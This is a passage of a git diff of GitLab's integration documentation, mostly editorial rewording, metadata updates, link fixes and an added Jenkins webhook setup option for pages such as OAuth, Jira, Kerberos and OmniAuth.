SSL verification on the server hosting GitLab. +You must also disable Git SSL verification on the server hosting GitLab. ```shell git config --global http.sslVerify false diff --git a/doc/integration/gitlab.md b/doc/integration/gitlab.md index c618d226290..37c91aedb15 100644 --- a/doc/integration/gitlab.md +++ b/doc/integration/gitlab.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Integrate your server with GitLab.com @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Import projects from GitLab.com and login to your GitLab instance with your GitLab.com account. To enable the GitLab.com OmniAuth provider you must register your application with GitLab.com. -GitLab.com will generate an application ID and secret key for you to use. +GitLab.com generates an application ID and secret key for you to use. 1. Sign in to GitLab.com @@ -85,5 +85,5 @@ GitLab.com will generate an application ID and secret key for you to use. installed GitLab via Omnibus or from source respectively. On the sign in page there should now be a GitLab.com icon below the regular sign in form. -Click the icon to begin the authentication process. GitLab.com will ask the user to sign in and authorize the GitLab application. -If everything goes well the user will be returned to your GitLab instance and will be signed in. +Click the icon to begin the authentication process. GitLab.com asks the user to sign in and authorize the GitLab application. +If everything goes well the user is returned to your GitLab instance and is signed in. diff --git a/doc/integration/gitpod.md b/doc/integration/gitpod.md index b4d12b90be0..04274c1c015 100644 --- a/doc/integration/gitpod.md +++ b/doc/integration/gitpod.md @@ -2,7 +2,7 @@ type: reference, how-to stage: Create group: Editor -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" --- # Gitpod Integration @@ -14,7 +14,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated > - It's recommended for production use. > - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#configure-your-gitlab-instance-with-gitpod). **(CORE ONLY)** -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. With [Gitpod](https://gitpod.io/) you can describe your dev environment as code to get fully set diff --git a/doc/integration/gmail_action_buttons_for_gitlab.md b/doc/integration/gmail_action_buttons_for_gitlab.md index 72196fd0f52..1158d6c9bc8 100644 --- a/doc/integration/gmail_action_buttons_for_gitlab.md +++ b/doc/integration/gmail_action_buttons_for_gitlab.md @@ -1,22 +1,21 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Gmail actions buttons for GitLab GitLab supports [Google actions in email](https://developers.google.com/gmail/markup/actions/actions-overview). -If correctly set up, emails that require an action will be marked in Gmail. +If correctly set up, emails that require an action are marked in Gmail.  To get this functioning, you need to be registered with Google. For instructions, see [Register with Google](https://developers.google.com/gmail/markup/registering-with-google). -*This process has a lot of steps so make sure that you fulfill all requirements set by Google.* -*Your application will be rejected by Google if you fail to do so.* +*This process has a lot of steps so make sure that you fulfill all requirements set by Google to avoid your application being rejected by Google.* In particular, note: @@ -25,6 +24,6 @@ In particular, note: (order of hundred emails a day minimum to Gmail) for a few weeks at least". - Have a very low rate of spam complaints from users. - Emails must be authenticated via DKIM or SPF. -- Before sending the final form ("Gmail Schema Whitelist Request"), you must send a real email from your production server. This means that you will have to find a way to send this email from the email address you are registering. You can do this by, for example, forwarding the real email from the email address you are registering or going into the rails console on the GitLab server and triggering the email sending from there. +- Before sending the final form ("Gmail Schema Whitelist Request"), you must send a real email from your production server. This means that you must find a way to send this email from the email address you are registering. You can do this by, for example, forwarding the real email from the email address you are registering or going into the rails console on the GitLab server and triggering the email sending from there. You can check how it looks going through all the steps laid out in the "Registering with Google" doc in [this GitLab.com issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/1517). diff --git a/doc/integration/google.md b/doc/integration/google.md index cd40aaff30a..cd00c854fea 100644 --- a/doc/integration/google.md +++ b/doc/integration/google.md @@ -1,13 +1,13 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Google OAuth2 OmniAuth Provider To enable the Google OAuth2 OmniAuth provider you must register your application -with Google. Google will generate a client ID and secret key for you to use. +with Google. Google generates a client ID and secret key for you to use. ## Enabling Google OAuth @@ -40,7 +40,7 @@ In Google's side: ``` 1. You should now be able to see a Client ID and Client secret. Note them down - or keep this page open as you will need them later. + or keep this page open as you need them later. 1. To enable projects to access [Google Kubernetes Engine](../user/project/clusters/index.md), you must also enable these APIs: - Google Kubernetes Engine API @@ -98,7 +98,7 @@ On your GitLab server: 1. Change `YOUR_APP_ID` to the client ID from the Google Developer page 1. Similarly, change `YOUR_APP_SECRET` to the client secret -1. Make sure that you configure GitLab to use an FQDN as Google will not accept +1. Make sure that you configure GitLab to use a fully-qualified domain name, as Google doesn't accept raw IP addresses. For Omnibus packages: @@ -119,6 +119,6 @@ On your GitLab server: installed GitLab via Omnibus or from source respectively. On the sign in page there should now be a Google icon below the regular sign in -form. Click the icon to begin the authentication process. Google will ask the +form. Click the icon to begin the authentication process. Google asks the user to sign in and authorize the GitLab application. If everything goes well -the user will be returned to GitLab and will be signed in. +the user is returned to GitLab and is signed in. diff --git a/doc/integration/img/sourcegraph_admin_v12_5.png b/doc/integration/img/sourcegraph_admin_v12_5.png Binary files differindex 54511541c87..7e2df9410ce 100644 --- a/doc/integration/img/sourcegraph_admin_v12_5.png +++ b/doc/integration/img/sourcegraph_admin_v12_5.png diff --git a/doc/integration/jenkins.md b/doc/integration/jenkins.md index 7eb147c1fe6..7be2a6efd71 100644 --- a/doc/integration/jenkins.md +++ b/doc/integration/jenkins.md @@ -1,23 +1,21 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Jenkins CI service **(STARTER)** +# Jenkins CI service **(CORE)** -NOTE: **Note:** -This documentation focuses only on how to **configure** a Jenkins *integration* with -GitLab. Learn how to **migrate** from Jenkins to GitLab CI/CD in our -[Migrating from Jenkins](../ci/migration/jenkins.md) documentation. +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/246756) to Core in GitLab 13.7. From GitLab, you can trigger a Jenkins build when you push code to a repository, or when a merge request is created. In return, the Jenkins pipeline status is shown on merge requests widgets and on the GitLab project's home page. -To better understand GitLab's Jenkins integration, watch the following video: +To better understand the GitLab Jenkins integration, watch the following video: - [GitLab workflow with Jira issues and Jenkins pipelines](https://youtu.be/Jn-_fyra7xQ) + Use the Jenkins integration with GitLab when: - You plan to migrate your CI from Jenkins to [GitLab CI/CD](../ci/README.md) in the future, but @@ -29,11 +27,16 @@ For a real use case, read the blog post [Continuous integration: From Jenkins to Moving from a traditional CI plug-in to a single application for the entire software development life cycle can decrease hours spent on maintaining toolchains by 10% or more. For more details, see -the ['GitLab vs. Jenkins' comparison page](https://about.gitlab.com/devops-tools/jenkins-vs-gitlab.html). +the ['GitLab vs. Jenkins' comparison page](https://about.gitlab.com/devops-tools/jenkins-vs-gitlab/). + +NOTE: +This documentation focuses only on how to **configure** a Jenkins *integration* with +GitLab. Learn how to **migrate** from Jenkins to GitLab CI/CD in our +[Migrating from Jenkins](../ci/migration/jenkins.md) documentation. ## Configure GitLab integration with Jenkins -GitLab's Jenkins integration requires installation and configuration in both GitLab and Jenkins. +The GitLab Jenkins integration requires installation and configuration in both GitLab and Jenkins. In GitLab, you need to grant Jenkins access to the relevant projects. In Jenkins, you need to install and configure several plugins. @@ -54,9 +57,9 @@ Grant a GitLab user access to the select GitLab projects. 1. Create a new GitLab user, or choose an existing GitLab user. - This account will be used by Jenkins to access the GitLab projects. We recommend creating a GitLab + This account is used by Jenkins to access the GitLab projects. We recommend creating a GitLab user for only this purpose. If you use a person's account, and their account is deactivated or - deleted, the GitLab-Jenkins integration will stop working. + deleted, the GitLab-Jenkins integration stops working. 1. Grant the user permission to the GitLab projects. @@ -72,11 +75,11 @@ Create a personal access token to authorize Jenkins' access to GitLab. 1. Click **Access Tokens** in the sidebar. 1. Create a personal access token with the **API** scope checkbox checked. For more details, see [Personal access tokens](../user/profile/personal_access_tokens.md). -1. Record the personal access token's value, because it's required in [Configure the Jenkins server](#configure-the-jenkins-server). +1. Record the personal access token's value, because it's required in [Configure the Jenkins server](#configure-the-jenkins-server) section. ## Configure the Jenkins server -Install and configure the Jenkins plugins. Both plugins must be installed and configured to +Install and configure the Jenkins plugin. The plugin must be installed and configured to authorize the connection to GitLab. 1. On the Jenkins server, go to **Manage Jenkins > Manage Plugins**. @@ -96,12 +99,12 @@ For more information, see GitLab Plugin documentation about ## Configure the Jenkins project -Set up the Jenkins project you’re going to run your build on. +Set up the Jenkins project you intend to run your build on. 1. On your Jenkins instance, go to **New Item**. 1. Enter the project's name. 1. Choose between **Freestyle** or **Pipeline** and click **OK**. - We recommend a Freestyle project, because the Jenkins plugin will update the build status on + We recommend a Freestyle project, because the Jenkins plugin updates the build status on GitLab. In a Pipeline project, you must configure a script to update the status on GitLab. 1. Choose your GitLab connection from the dropdown. 1. Check the **Build when a change is pushed to GitLab** checkbox. @@ -136,6 +139,8 @@ Set up the Jenkins project you’re going to run your build on. Configure the GitLab integration with Jenkins. +### Option 1: Jenkins integration (recommended) + 1. Create a new GitLab project or choose an existing one. 1. Go to **Settings > Integrations**, then select **Jenkins CI**. 1. Turn on the **Active** toggle. @@ -153,6 +158,17 @@ Configure the GitLab integration with Jenkins. authentication. 1. Click **Test settings and save changes**. GitLab tests the connection to Jenkins. +### Option 2: Webhook + +If you are unable to provide GitLab with your Jenkins server login, you can use this option +to integrate GitLab and Jenkins. + +1. In the configuration of your Jenkins job, in the GitLab configuration section, click **Advanced**. +1. Click the **Generate** button under the **Secret Token** field. +1. Copy the resulting token, and save the job configuration. +1. In GitLab, create a webhook for your project, enter the trigger URL (e.g. `https://JENKINS_URL/project/YOUR_JOB`) and paste the token in the **Secret Token** field. +1. After you add the webhook, click the **Test** button, and it should succeed. + ## Troubleshooting ### Error in merge requests - "Could not connect to the CI server" @@ -183,14 +199,14 @@ WebHook Error => execution expired ``` If those are present, the request is exceeding the -[webhook timeout](../user/project/integrations/webhooks.md#receiving-duplicate-or-multiple-webhook-requests-triggered-by-one-event), +[webhook timeout](../user/project/integrations/webhooks.md#webhook-fails-or-multiple-webhook-requests-are-triggered), which is set to 10 seconds by default. -To fix this the `gitlab_rails['webhook_timeout']` value will need to be increased -in the `gitlab.rb` config file, followed by the [`gitlab-ctl reconfigure` command](../administration/restart_gitlab.md). +To fix this the `gitlab_rails['webhook_timeout']` value must be increased +in the `gitlab.rb` configuration file, followed by the [`gitlab-ctl reconfigure` command](../administration/restart_gitlab.md). If you don't find the errors above, but do find *duplicate* entries like below (in `/var/log/gitlab/gitlab-rail`), this -could also indicate that [webhook requests are timing out](../user/project/integrations/webhooks.md#receiving-duplicate-or-multiple-webhook-requests-triggered-by-one-event): +could also indicate that [webhook requests are timing out](../user/project/integrations/webhooks.md#webhook-fails-or-multiple-webhook-requests-are-triggered): ```plaintext 2019-10-25_04:22:41.25630 2019-10-25T04:22:41.256Z 1584 TID-ovowh4tek WebHookWorker JID-941fb7f40b69dff3d833c99b INFO: start diff --git a/doc/integration/jenkins_deprecated.md b/doc/integration/jenkins_deprecated.md index 63d5ac48765..b5d68e3183f 100644 --- a/doc/integration/jenkins_deprecated.md +++ b/doc/integration/jenkins_deprecated.md @@ -1,30 +1,30 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Jenkins CI (deprecated) service -NOTE: **Note:** +NOTE: In GitLab 8.3, Jenkins integration using the [GitLab Hook Plugin](https://wiki.jenkins.io/display/JENKINS/GitLab+Hook+Plugin) was deprecated in favor of the [GitLab Plugin](https://wiki.jenkins.io/display/JENKINS/GitLab+Plugin). Please use documentation for the new [Jenkins CI service](jenkins.md). -NOTE: **Note:** +NOTE: This service was [removed in v13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/1600) Integration includes: -- Trigger Jenkins build after push to repo +- Trigger Jenkins build after push to repository - Show build status on Merge Request page Requirements: - [Jenkins GitLab Hook plugin](https://wiki.jenkins.io/display/JENKINS/GitLab+Hook+Plugin) -- Git clone access for Jenkins from GitLab repo (via SSH key) +- Git clone access for Jenkins from GitLab repository (via SSH key) ## Jenkins @@ -41,7 +41,7 @@ In GitLab, perform the following steps. Jenkins needs read access to the GitLab repository. We already specified a private key to use in Jenkins, now we need to add a public one to the GitLab -project. For that case we will need a Deploy key. Read the documentation on +project. For that case we need a Deploy key. Read the documentation on [how to set up a Deploy key](../ssh/README.md#deploy-keys). ### Jenkins service @@ -50,14 +50,13 @@ Now navigate to GitLab services page and activate Jenkins  -Done! Now when you push to GitLab - it will create a build for Jenkins. -And also you will be able to see merge request build status with a link to the Jenkins build. +Done! Now when you push to GitLab - it creates a build for Jenkins, and you can view the merge request build status with a link to the Jenkins build. ### Multi-project Configuration The GitLab Hook plugin in Jenkins supports the automatic creation of a project -for each feature branch. After configuration GitLab will trigger feature branch -builds and a corresponding project will be created in Jenkins. +for each feature branch. After configuration GitLab triggers feature branch +builds and a corresponding project is created in Jenkins. Configure the GitLab Hook plugin in Jenkins. Go to 'Manage Jenkins' and then 'Configure System'. Find the 'GitLab Web Hook' section and configure as shown below. diff --git a/doc/integration/jira.md b/doc/integration/jira.md index 37eba25fb5a..0e22bedd1cc 100644 --- a/doc/integration/jira.md +++ b/doc/integration/jira.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/integrations/jira.md' --- This document was moved to [another location](../user/project/integrations/jira.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/jira_development_panel.md b/doc/integration/jira_development_panel.md index 1bd3095edce..7488df3580e 100644 --- a/doc/integration/jira_development_panel.md +++ b/doc/integration/jira_development_panel.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Jira Development Panel integration **(CORE)** @@ -73,7 +73,7 @@ When configuring Jira DVCS Connector: #### GitLab account configuration for DVCS -TIP: **Tip:** +NOTE: To ensure that regular user account maintenance doesn't impact your integration, create and use a single-purpose `jira` user in GitLab. @@ -89,7 +89,7 @@ create and use a single-purpose `jira` user in GitLab. replacing `<gitlab.example.com>` with your GitLab instance domain. For example, if you are using GitLab.com, this would be `https://gitlab.com/login/oauth/callback`. - NOTE: **Note:** + NOTE: If using a GitLab version earlier than 11.3, the `Redirect URI` must be `https://<gitlab.example.com>/-/jira/login/oauth/callback`. If you want Jira to have access to all projects, GitLab recommends that an administrator create the @@ -100,7 +100,7 @@ create and use a single-purpose `jira` user in GitLab. - Check **API** in the Scopes section and uncheck any other checkboxes. 1. Click **Save application**. GitLab displays the generated **Application ID** - and **Secret** values. Copy these values, which you will use in Jira. + and **Secret** values. Copy these values, which you use in Jira. #### Jira DVCS Connector setup @@ -125,7 +125,7 @@ If you're using GitLab.com and Jira Cloud, we recommend you use the replacing `<gitlab.example.com>` with your GitLab instance domain. For example, if you are using GitLab.com, this would be `https://gitlab.com/`. - NOTE: **Note:** + NOTE: If using a GitLab version earlier than 11.3 the **Host URL** value should be `https://<gitlab.example.com>/-/jira` For the **Client ID** field, use the **Application ID** value from the previous section. @@ -165,7 +165,7 @@ This error message is generated in Jira, after completing the **Add New Account* form and authorizing access. It indicates a connectivity issue from Jira to GitLab. No other error messages appear in any logs. -If there was an issue with SSL/TLS, this error message will be generated. +If there was an issue with SSL/TLS, this error message is generated. - The [GitLab Jira integration](../user/project/integrations/jira.md) requires GitLab to connect to Jira. Any TLS issues that arise from a private certificate authority or self-signed @@ -232,7 +232,7 @@ Potential resolutions: - If you're using GitLab Core or GitLab Starter, be sure you're using GitLab 13.4 or later. -[Contact GitLab Support](https://about.gitlab.com/support) if none of these reasons apply. +[Contact GitLab Support](https://about.gitlab.com/support/) if none of these reasons apply. #### Fixing synchronization issues @@ -245,11 +245,11 @@ resynchronize the information. To do so: 1. For each project, there's a sync button displayed next to the **last activity** date. To perform a *soft resync*, click the button, or complete a *full sync* by shift clicking the button. For more information, see - [Atlassian's documentation](https://confluence.atlassian.com/adminjiracloud/synchronize-an-account-972332890.html). + [Atlassian's documentation](https://support.atlassian.com/jira-cloud-administration/docs/synchronize-jira-cloud-to-bitbucket/). ### GitLab for Jira app -You can integrate GitLab.com and Jira Cloud using the [GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-for-jira) app in the Atlassian Marketplace. +You can integrate GitLab.com and Jira Cloud using the [GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud) app in the Atlassian Marketplace. This method is recommended when using GitLab.com and Jira Cloud because data is synchronized in realtime, while the DVCS connector updates data only once per hour. If you are not using both of these environments, use the [Jira DVCS Connector](#jira-dvcs-configuration) method. @@ -257,7 +257,7 @@ This method is recommended when using GitLab.com and Jira Cloud because data is For a walkthrough of the integration with GitLab for Jira, watch [Configure GitLab Jira Integration using Marketplace App](https://youtu.be/SwR-g1s1zTo) on YouTube. 1. Go to **Jira Settings > Apps > Find new apps**, then search for GitLab. -1. Click **GitLab for Jira**, then click **Get it now**. Or go the [App in the marketplace directly](https://marketplace.atlassian.com/apps/1221011/gitlab-for-jira) +1. Click **GitLab for Jira**, then click **Get it now**. Or go the [App in the marketplace directly](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud)  1. After installing, click **Get started** to go to the configurations page. This page is always available under **Jira Settings > Apps > Manage apps**. @@ -267,12 +267,12 @@ For a walkthrough of the integration with GitLab for Jira, watch [Configure GitL **Link namespace to Jira**. The user setting up *GitLab for Jira* must have *Maintainer* access to the GitLab namespace. -NOTE: **Note:** +NOTE: The GitLab user only needs access when adding a new namespace. For syncing with Jira, we do not depend on the user's token.  -After a namespace is added, all future commits, branches and merge requests of all projects under that namespace will be synced to Jira. Past data cannot be synced at the moment. +After a namespace is added, all future commits, branches, and merge requests of all projects under that namespace are synced to Jira. Past data cannot be synced at the moment. For more information, see [Usage](#usage). diff --git a/doc/integration/kerberos.md b/doc/integration/kerberos.md index 50468443769..390c3ae3e7c 100644 --- a/doc/integration/kerberos.md +++ b/doc/integration/kerberos.md @@ -1,7 +1,7 @@ --- stage: Manage group: Access -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, how-to --- @@ -13,13 +13,13 @@ GitLab can integrate with [Kerberos](https://web.mit.edu/kerberos/) as an authen [Kerberos](https://web.mit.edu/kerberos/) is a secure method for authenticating a request for a service in a computer network. Kerberos was developed in the Athena Project at the -[Massachusetts Institute of Technology (MIT)](http://web.mit.edu/). The name is taken from Greek +[Massachusetts Institute of Technology (MIT)](https://web.mit.edu/). The name is taken from Greek mythology; Kerberos was a three-headed dog who guarded the gates of Hades. ## Use-cases - GitLab can be configured to allow your users to sign with their Kerberos credentials. -- You can use Kerberos to [prevent](http://web.mit.edu/sipb/doc/working/guide/guide/node20.html) anyone from intercepting or eavesdropping on the transmitted password. +- You can use Kerberos to [prevent](https://web.mit.edu/sipb/doc/working/guide/guide/node20.html) anyone from intercepting or eavesdropping on the transmitted password. ## Configuration @@ -49,7 +49,7 @@ sudo chmod 0600 /etc/http.keytab #### Installations from source -NOTE: **Note:** +NOTE: For source installations, make sure the `kerberos` gem group [has been installed](../install/installation.md#install-gems). @@ -150,7 +150,7 @@ With that information at hand: 1. If `block_auto_created_users` is false, the Kerberos user is authenticated and is signed in to GitLab. -CAUTION: **Warning** +WARNING: We recommend that you retain the default for `block_auto_created_users`. Kerberos users who create accounts on GitLab without administrator knowledge can be a security risk. @@ -162,7 +162,7 @@ enabled, your users will be linked to their LDAP accounts on their first sign-in For this to work, some prerequisites must be met: The Kerberos username must match the LDAP user's UID. You can choose which LDAP -attribute is used as the UID in GitLab's [LDAP configuration](../administration/auth/ldap/index.md#configuration) +attribute is used as the UID in the GitLab [LDAP configuration](../administration/auth/ldap/index.md#configuration) but for Active Directory, this should be `sAMAccountName`. The Kerberos realm must match the domain part of the LDAP user's Distinguished @@ -216,11 +216,11 @@ GitLab users with a linked Kerberos account can also `git pull` and `git push` using Kerberos tokens, i.e., without having to send their password with each operation. -DANGER: **Warning:** +WARNING: There is a [known issue](https://github.com/curl/curl/issues/1261) with `libcurl` older than version 7.64.1 wherein it won't reuse connections when negotiating. This leads to authorization issues when push is larger than `http.postBuffer` -config. Ensure that Git is using at least `libcurl` 7.64.1 to avoid this. To +configuration. Ensure that Git is using at least `libcurl` 7.64.1 to avoid this. To know the `libcurl` version installed, run `curl-config --version`. ### HTTP Git access with Kerberos token (passwordless authentication) diff --git a/doc/integration/ldap.md b/doc/integration/ldap.md index 25e4cc52375..55c169bca80 100644 --- a/doc/integration/ldap.md +++ b/doc/integration/ldap.md @@ -3,3 +3,6 @@ redirect_to: '../administration/auth/ldap/index.md' --- This document was moved to [`administration/auth/ldap`](../administration/auth/ldap/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/oauth2_generic.md b/doc/integration/oauth2_generic.md index 5957af292ab..88e9e3ef05c 100644 --- a/doc/integration/oauth2_generic.md +++ b/doc/integration/oauth2_generic.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Sign into GitLab with (almost) any OAuth2 provider @@ -20,13 +20,13 @@ This strategy is designed to allow configuration of the simple OmniAuth SSO proc ## Limitations of this Strategy -- It can only be used for Single Sign on, and will not provide any other access granted by any OAuth provider +- It can only be used for Single Sign on, and doesn't provide any other access granted by any OAuth provider (importing projects or users, etc) - It only supports the Authorization Grant flow (most common for client-server applications, like GitLab) - It is not able to fetch user information from more than one URL - It has not been tested with user information formats other than JSON -## Config Instructions +## Configuration Instructions 1. Register your application in the OAuth2 provider you wish to authenticate with. @@ -37,7 +37,7 @@ This strategy is designed to allow configuration of the simple OmniAuth SSO proc ``` 1. You should now be able to get a Client ID and Client Secret. - Where this shows up will differ for each provider. + Where this shows up differs for each provider. This may also be called Application ID and Secret 1. On your GitLab server, open the configuration file. @@ -64,6 +64,6 @@ This strategy is designed to allow configuration of the simple OmniAuth SSO proc 1. Restart GitLab for the changes to take effect On the sign in page there should now be a new button below the regular sign in form. -Click the button to begin your provider's authentication process. This will direct +Click the button to begin your provider's authentication process. This directs the browser to your OAuth2 Provider's authentication page. If everything goes well -the user will be returned to your GitLab instance and will be signed in. +the user is returned to your GitLab instance and is signed in. diff --git a/doc/integration/oauth_provider.md b/doc/integration/oauth_provider.md index 68d10a3135e..82cb409c560 100644 --- a/doc/integration/oauth_provider.md +++ b/doc/integration/oauth_provider.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab as OAuth2 authentication service provider @@ -48,12 +48,12 @@ In order to add a new application via your profile, navigate to  In the application form, enter a **Name** (arbitrary), and make sure to set up -correctly the **Redirect URI** which is the URL where users will be sent after +correctly the **Redirect URI** which is the URL where users are sent after they authorize with GitLab.  -When you hit **Submit** you will be provided with the application ID and +When you click **Submit** you are provided with the application ID and the application secret which you can then use with your application that connects to GitLab. @@ -71,12 +71,12 @@ the user authorization step is automatically skipped for this application. ## Authorized applications -Every application you authorized to use your GitLab credentials will be shown +Every application you authorized to use your GitLab credentials is shown in the **Authorized applications** section under **Profile Settings > Applications**.  -GitLab's OAuth applications support scopes, which allow various actions that any given +The GitLab OAuth applications support scopes, which allow various actions that any given application can perform such as `read_user` and `api`. There are many more scopes available. diff --git a/doc/integration/omniauth.md b/doc/integration/omniauth.md index eebafab2693..53c19ddfdb1 100644 --- a/doc/integration/omniauth.md +++ b/doc/integration/omniauth.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # OmniAuth @@ -49,28 +49,28 @@ contains some settings that are common for all providers. Before configuring individual OmniAuth providers there are a few global settings that are in common for all providers that we need to consider. -NOTE: **Note:** +NOTE: Starting from GitLab 11.4, OmniAuth is enabled by default. If you're using an -earlier version, you'll need to explicitly enable it. +earlier version, you must explicitly enable it. - `allow_single_sign_on` allows you to specify the providers you want to allow to automatically create an account. It defaults to `false`. If `false` users must - be created manually or they will not be able to sign in via OmniAuth. + be created manually or they can't sign in via OmniAuth. - `auto_link_ldap_user` can be used if you have [LDAP / ActiveDirectory](../administration/auth/ldap/index.md) integration enabled. It defaults to `false`. When enabled, users automatically - created through an OmniAuth provider will have their LDAP identity created in GitLab as well. + created through an OmniAuth provider have their LDAP identity created in GitLab as well. - `block_auto_created_users` defaults to `true`. If `true` auto created users will - be blocked by default and will have to be unblocked by an administrator before + be blocked by default and must be unblocked by an administrator before they are able to sign in. -NOTE: **Note:** +NOTE: If you set `block_auto_created_users` to `false`, make sure to only define providers under `allow_single_sign_on` that you are able to control, like SAML, Shibboleth, Crowd or Google, or set it to `false` otherwise any user on -the Internet will be able to successfully sign in to your GitLab without +the Internet can successfully sign in to your GitLab without administrative approval. -NOTE: **Note:** +NOTE: `auto_link_ldap_user` requires the `uid` of the user to be the same in both LDAP and the OmniAuth provider. @@ -141,8 +141,8 @@ OmniAuth provider for an existing user. 1. Go to profile settings (the silhouette icon in the top right corner). 1. Select the "Account" tab. 1. Under "Connected Accounts" select the desired OmniAuth provider, such as Twitter. -1. The user will be redirected to the provider. Once the user authorized GitLab - they will be redirected back to GitLab. +1. The user is redirected to the provider. After the user authorizes GitLab, + they are redirected back to GitLab. The chosen OmniAuth provider is now active and can be used to sign in to GitLab from then on. @@ -171,12 +171,12 @@ omniauth: > Introduced in GitLab 8.7. You can define which OmniAuth providers you want to be `external` so that all users -**creating accounts, or logging in via these providers** will not be able to have -access to internal projects. You will need to use the full name of the provider, +**creating accounts, or logging in via these providers** can't have +access to internal projects. You must use the full name of the provider, like `google_oauth2` for Google. Refer to the examples for the full names of the supported providers. -NOTE: **Note:** +NOTE: If you decide to remove an OmniAuth provider from the external providers list, you must manually update the users that use this method to sign in if you want their accounts to be upgraded to full internal accounts. @@ -196,7 +196,7 @@ omniauth: ## Using Custom OmniAuth Providers -NOTE: **Note:** +NOTE: The following information only applies for installations from source. GitLab uses [OmniAuth](https://github.com/omniauth/omniauth) for authentication and already ships @@ -206,7 +206,7 @@ these cases you can use the OmniAuth provider. ### Steps -These steps are fairly general and you will need to figure out the exact details +These steps are fairly general and you must figure out the exact details from the OmniAuth provider's documentation. - Stop GitLab: @@ -253,7 +253,7 @@ we'd like to at least help those with specific needs. Administrators are able to enable or disable Sign In via some OmniAuth providers. -NOTE: **Note:** +NOTE: By default Sign In is enabled via all the OAuth Providers that have been configured in `config/gitlab.yml`. In order to enable/disable an OmniAuth provider, go to Admin Area -> Settings -> Sign-in Restrictions section -> Enabled OAuth Sign-In sources and select the providers you want to enable or disable. @@ -343,8 +343,8 @@ omniauth: auto_sign_in_with_provider: azure_oauth2 ``` -Keep in mind that every sign-in attempt will be redirected to the OmniAuth -provider; you won't be able to sign in using local credentials. Ensure at least +Keep in mind that every sign-in attempt is redirected to the OmniAuth +provider; you can't sign in using local credentials. Ensure at least one of the OmniAuth users has admin permissions. You may also bypass the auto sign in feature by browsing to diff --git a/doc/integration/openid_connect_provider.md b/doc/integration/openid_connect_provider.md index bf33483f949..5bf079df800 100644 --- a/doc/integration/openid_connect_provider.md +++ b/doc/integration/openid_connect_provider.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical 